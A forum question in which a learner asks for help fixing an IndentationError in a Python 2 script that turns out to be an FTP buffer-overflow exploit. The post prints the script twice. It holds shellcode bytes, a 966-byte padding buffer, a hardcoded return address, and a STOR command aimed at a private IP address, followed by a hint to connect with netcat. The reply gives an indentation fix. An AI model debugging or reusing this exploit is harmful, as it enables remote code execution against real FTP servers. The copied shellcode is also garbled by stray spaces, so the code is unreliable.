Blkmbm9
asked on
HELP unexpected indent error python
Hello,
I am learning python, but I have a problem, I am trying to run a python script, but I cannot get it done. it seems that there is a problem with an IndentationError: unexpected indent error, just before the except: block.
I have searched and found that it might be a missing colon, I have tried several options, but I not able to find where the problem is,
Can anyone help me?, any advice please...
this is the script:
import ftplib
from ftplib import FTP
import struct
print "\n\n##################### ########## #"
print "######################### ########## "
# Shellcode
sc = "\x29\xc9\x83\xe9\xb0\xd9\ xee\xd9\x7 4\x24\xf4\ x5b\x81\x7 3\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\ xe2\xf4\x8 8\x33\xff\ x3e\x9c\xa 0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\ xeb\xa5\x2 6\xa6\xc4\ x1b\x84\xd 3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\ x14\x73";
buffer = '\x41'*966+struct.pack('<L ', 0x77DF2740)+'\x42'*32+sc
try:
ftp=FTP('192.168.13.54')
ftp.login('ftp','ftp')
print "\Try connecting with netcat."
except:
print "\nCould not Connect to FTP Server."
try:
ftp.transfercmd("STOR " + buffer)
except:
print "\nDone."
//////////**************** *******/// /////////
brown@:~#python ftpshell.py
File "ftpshell.py", line
except:
^
IndentationError: unexpected indent
I am learning python, but I have a problem, I am trying to run a python script, but I cannot get it done. it seems that there is a problem with an IndentationError: unexpected indent error, just before the except: block.
I have searched and found that it might be a missing colon, I have tried several options, but I not able to find where the problem is,
Can anyone help me?, any advice please...
this is the script:
import ftplib
from ftplib import FTP
import struct
print "\n\n#####################
print "#########################
# Shellcode
sc = "\x29\xc9\x83\xe9\xb0\xd9\
"\x59\x14\x73\x83\xeb\xfc\
"\xff\x0e\xe8\xf0\xb0\x3d\
"\x27\xa6\xc2\x8c\xa4\x59\
buffer = '\x41'*966+struct.pack('<L
try:
ftp=FTP('192.168.13.54')
ftp.login('ftp','ftp')
print "\Try connecting with netcat."
except:
print "\nCould not Connect to FTP Server."
try:
ftp.transfercmd("STOR " + buffer)
except:
print "\nDone."
//////////****************
brown@:~#python ftpshell.py
File "ftpshell.py", line
except:
^
IndentationError: unexpected indent
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
Thank you so much!
Remove the spaces/tab in front of except: